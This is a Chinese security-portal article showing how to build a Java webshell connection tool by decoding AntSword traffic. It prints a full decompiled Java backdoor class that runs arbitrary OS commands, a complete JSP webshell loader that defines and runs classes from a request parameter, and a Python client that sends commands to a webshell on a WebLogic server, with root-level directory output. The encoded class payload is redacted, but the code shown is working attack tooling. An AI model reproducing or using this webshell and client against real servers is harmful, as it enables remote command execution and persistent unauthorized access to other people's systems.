freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

编写一个属于你自己的java webshell连接工具
2020-12-23 21:18:11

最近平台需要集成java的webshell工具,由于以前只接触过php的webshell,于是在构造payload的时候走了许多弯路。然后就下定决心研究一下蚁剑的构造方法。在添加好目标后,执行命令pwd,通过AWVS[1]抓包后获得以下数据包

k6eb07872218cc=wkL2Jpbi9zaA%3D%3D&la964f5d9245d6=qv&passwd={这里是base64部分,无法过审..}

拿到这个数据包后需要先进行url解码,并且根据&符号拆分得到以下数据

k6eb07872218cc=wkL2Jpbi9zaA==
la964f5d9245d6=qv
passwd={这里是base64部分,无法过审..}

最初看到这个数据的时候,就怀疑他们是base64处理后的数据,不过经过一番操作后,发现会解码失败.但是其中某一项却又能解码成功且得到大量乱码,顿时心生退意。辛亏得到高人指点,编写个简单程序对其进行解码,然后将结果写入文件当中。(一般人如果没接触过java字节码的,估计跟我一样看到乱码后就会放弃了,)

from base64 import b64decode

s = '''{passwd对应的值}'''

src = b64decode(s)
with open('s.class', 'wb+') as fw:
    fw.write(src)

然后在高人的指点下,用Luyten工具加载字节码文件得到java源码

import javax.servlet.jsp.*;
import javax.servlet.*;
import java.util.*;
import java.io.*;

public class Exec
{
    public String encoder;
    public String cs;
    public String randomPrefix;
    
    @Override
    public boolean equals(final Object o) {
        final PageContext pageContext = (PageContext)o;
        final ServletRequest request = pageContext.getRequest();
        final ServletResponse response = pageContext.getResponse();
        this.randomPrefix = "2";
        this.encoder = "base64";
        this.cs = "UTF8";
        final StringBuffer sb = new StringBuffer("");
        final StringBuffer sb2 = new StringBuffer("");
        final String s = "dfbf2";
        final String s2 = "a2f87ee1";
        final String s3 = "k6eb07872218cc";
        final String s4 = "rf8c1276e83f4c";
        final String s5 = "la964f5d9245d6";
        try {
            response.setContentType("text/html");
            request.setCharacterEncoding(this.cs);
            response.setCharacterEncoding(this.cs);
            final String ec = this.EC(this.decode(request.getParameter(s3) + "", this.encoder, this.cs), this.encoder, this.cs);
            final String ec2 = this.EC(this.decode(request.getParameter(s4) + "", this.encoder, this.cs), this.encoder, this.cs);
            final String ec3 = this.EC(this.decode(request.getParameter(s5) + "", this.encoder, this.cs), this.encoder, this.cs);
            sb.append(s);
            sb2.append(this.ExecuteCommandCode(ec, ec2, ec3, this.cs));
            sb.append(sb2.toString());
            sb.append(s2);
            pageContext.getOut().print(sb.toString());
        }
        catch (Exception ex) {
            sb2.append("ERROR:// " + ex.toString());
        }
        return true;
    }
    
    String EC(final String s, final String s2, final String s3) throws Exception {
        if (s2.equals("hex") || s2 == "hex") {
            return s;
        }
        return new String(s.getBytes(), s3);
    }
    
    String decode(String s, final String s2, final String s3) throws Exception {
        try {
            s = s.substring(Integer.parseInt(this.randomPrefix));
        }
        catch (Exception ex) {}
        if (s2.equals("hex") || s2 == "hex") {
            if (s == "null" || s.equals("null")) {
                return "";
            }
            final String s4 = "0123456789ABCDEF";
            s = s.toUpperCase();
            final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(s.length() / 2);
            String string = "";
            for (int i = 0; i < s.length(); i += 2) {
                string = string + (s4.indexOf(s.charAt(i)) << 4 | s4.indexOf(s.charAt(i + 1))) + ",";
                byteArrayOutputStream.write(s4.indexOf(s.charAt(i)) << 4 | s4.indexOf(s.charAt(i + 1)));
            }
            return byteArrayOutputStream.toString("UTF-8");
        }
        else {
            if (s2.equals("base64") || s2 == "base64") {
                byte[] array;
                if (System.getProperty("java.version").compareTo("1.9") >= 0) {
                    final Class<?> forName = Class.forName("java.util.Base64");
                    final Object invoke = forName.getMethod("getDecoder", (Class<?>[])new Class[0]).invoke(forName, new Object[0]);
                    array = (byte[])invoke.getClass().getMethod("decode", String.class).invoke(invoke, s);
                }
                else {
                    final Object instance = Class.forName("sun.misc.BASE64Decoder").getDeclaredConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]);
                    array = (byte[])instance.getClass().getMethod("decodeBuffer", String.class).invoke(instance, s);
                }
                return new String(array, "UTF-8");
            }
            return s;
        }
    }
    
    String ExecuteCommandCode(final String s, final String s2, final String s3, final String s4) throws Exception {
        final StringBuffer sb = new StringBuffer("");
        final String[] array = { s, this.isWin() ? "/c" : "-c", s2 };
        final HashMap<Object, String> hashMap = new HashMap<Object, String>(System.getenv());
        final String[] split = s3.split("\\|\\|\\|asline\\|\\|\\|");
        for (int i = 0; i < split.length; ++i) {
            final String[] split2 = split[i].split("\\|\\|\\|askey\\|\\|\\|");
            if (split2.length == 2) {
                hashMap.put(split2[0], split2[1]);
            }
        }
        final String[] array2 = new String[hashMap.size()];
        int n = 0;
        for (final String s5 : hashMap.keySet()) {
            array2[n] = s5 + "=" + hashMap.get(s5);
            ++n;
        }
        final Process exec = Runtime.getRuntime().exec(array, array2);
        this.CopyInputStream(exec.getInputStream(), sb, s4);
        this.CopyInputStream(exec.getErrorStream(), sb, s4);
        return sb.toString();
    }
    
    boolean isWin() {
        return System.getProperty("os.name").toLowerCase().startsWith("win");
    }
    
    void CopyInputStream(final InputStream inputStream, final StringBuffer sb, final String s) throws Exception {
        final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, s));
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            sb.append(line + "\r\n");
        }
        bufferedReader.close();
    }
}

到这里,已经成功了绝大部分了,接下来就是阅读源码部分.发现:

this.randomPrefix = "2";    // 行 17

// 行 31
final String ec = this.EC(this.decode(request.getParameter(s3) + "", this.encoder, this.cs), this.encoder, this.cs);          
final String ec2 = this.EC(this.decode(request.getParameter(s4) + "", this.encoder, this.cs), this.encoder, this.cs);
final String ec3 = this.EC(this.decode(request.getParameter(s5) + "", this.encoder, this.cs), this.encoder, this.cs);

String decode(String s, final String s2, final String s3) throws Exception {
try {
    s = s.substring(Integer.parseInt(this.randomPrefix));   // 行 55
}
catch (Exception ex) {}

通过阅读源码后明白,蚁剑在这里做了混淆,其实某些值是需要截断处理的,其会根据这个this.randomPrefix的值进行字符串截取,也就是后面的数据才是真正需要解码的部分。我们在notepad++里面进行手动尝试看看

k6eb07872218cc=wk /bin/sh
la964f5d9245d6=qv
rf8c1276e83f4c=odcd "/u01/oracle/weblogic/wlserver/server/lib/consoleapp/webapp";pwd;echo [S];pwd;echo [E]

看到这里就一目了然了,而且我们发现在rf8c1276e83f4c这个key里面,包含着我们的命令pwd,另外蚁剑通过[S][E]两个符号将我们执行的输出给包围了起来,这样也可以精确的拿到命令的结果。
灵光一闪,我们直接替换其中的命令,然后再将后面的原始数据部分base64处理,不就得到了我们需要的payload了么,说干就干

import requests
from base64 import b64encode

cmd = 'ls -al' # 这里可以换成任意命令
command = ' echo [S];{};echo [E]'.format(cmd)
data = {
    'k6eb07872218cc': 'n9L2Jpbi9zaA==',
    'la964f5d9245d6': 'HS',
    'passwd': '{这里是base64部分,无法过审..}',
    'rf8c1276e83f4c': 'wg'+b64encode(command)
}

# 下面换成你的webshell地址
rsp = requests.post(
    'http://192.168.xx.xx:7001/console/framework/skins/wlsconsole/images/the-webshell-file.jsp',
    data=data
)
print rsp.text

拿到输出:

dfbf2[S]
total 636
drwxr-x--- 1 root root   4096 Nov 11 16:23 .
drwxr-x--- 1 root root   4096 Nov 11 14:18 。
drwxr-x--- 2 root root   4096 Nov 11 14:18 autodeploy
drwxr-x--- 1 root root   4096 Nov 11 14:20 bin
drwxr-x--- 1 root root   4096 Nov 11 14:18 common
drwxr-x--- 1 root root   4096 Dec 21 15:12 config
drwxr-x--- 2 root root   4096 Nov 11 14:18 console-ext
-rw-r----- 1 root root    136 Dec 21 15:12 derby.log
-rw-r----- 1 root root      0 Dec 21 15:12 derbyShutdown.log
-rw-r----- 1 root root    142 Dec 21 15:13 edit.lok
-rw-r----- 1 root root    327 Apr 26  2019 fileRealm.properties
drwxr-x--- 3 root root   4096 Nov 11 14:18 init-info
drwxr-x--- 2 root root   4096 Nov 11 14:18 lib
drwxr-x--- 2 root root   4096 Nov 11 14:18 nodemanager
-rw------- 1 root root 572694 Nov 24 14:59 nohup.out
drwxr-x--- 3 root root   4096 Nov 11 14:22 orchestration
drwxr-x--- 2 root root   4096 Apr 26  2019 resources
drwxr-x--- 2 root root   4096 Nov 11 14:22 security
drwxr-x--- 1 root root   4096 Nov 11 14:18 servers
-rw-r----- 1 root root    231 Dec 21 15:12 shutdown-AdminServer.py
-rwxr-x--- 1 root root    270 Nov 11 14:18 startWebLogic.sh
[E]
a2f87ee1

搞定!
不过困扰我的问题来了,通读源码后,发现仅包含一个Class,那么凭什么会执行这个后门程序呢,终于在抠破头皮之后,想起看一看后门源码

<%@ page import="sun.misc.BASE64Decoder" %>
<%! 
class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length); 
    }
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder(); %>
<% 
String cls=request.getParameter("passwd");
if(cls!=null){
    new U(this.getClass().getClassLoader()).g(
        decoder.decodeBuffer(cls)
        ).newInstance().equals(pageContext);
} %>

代码大概意思应该是,预先生成一个BASE64Decoder解码对象decoder,然后新建一个U对象,由于其继承ClassLoader,因此可以加载我们传入的后门程序。其中U().g方法加载decoder解码后的数据来定义类,然后通过.newInstance()创建一个实例,最终调用我们后门程序里面的equals方法,并且传入pageContext对象。
经过查询资料,pageContext对象是javax.servlet.jsp.PageContext类的实例对象,用来代表整个JSP页面。它代表页面上下文,该对象主要用于访问 JSP 之间的共享数据,使用pageContext可以访问page、request、session、application范围的变量。
因此我们再翻看equals函数源码发现:

// 获取pageContext
final PageContext pageContext = (PageContext)o;
// 获取请求对象
final ServletRequest request = pageContext.getRequest();
// 获取返回对象
final ServletResponse response = pageContext.getResponse();

    // 返回对象 设置返回的内容属性
    response.setContentType("text/html");
    request.setCharacterEncoding(this.cs);
    // 返回对象 设置字符集
    response.setCharacterEncoding(this.cs);
    
    //命令执行
    sb2.append(this.ExecuteCommandCode(ec, ec2, ec3, this.cs));

    // 往pageContext的输出里面放执行结果
    pageContext.getOut().print(sb.toString());

因此通过以上代码,我们就能够在返回数据里面拿到我们命令执行的结果了
猜想:

  1. 如果我们设置response对象的属性为stream,那么我们应该就可以实现文件的下载
  2. 如果我们将文件以二进制读取,然后base64编码后,再从请求参数读取再解码就可以还原文件,然后再写入到目标服务器了

不过那样我们还得编写java源码,再编译成字节码文件.最简单的方式还是,抓包蚁剑,然后还原数据包,直接将关键部分换成我们的,再发送post请求就行啦!

到这里,一个简单的java webshell连接工具估计你也能够编写了


  1. Acunetix Web Vulnerability Scanner ↩︎

# webshell # Java代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者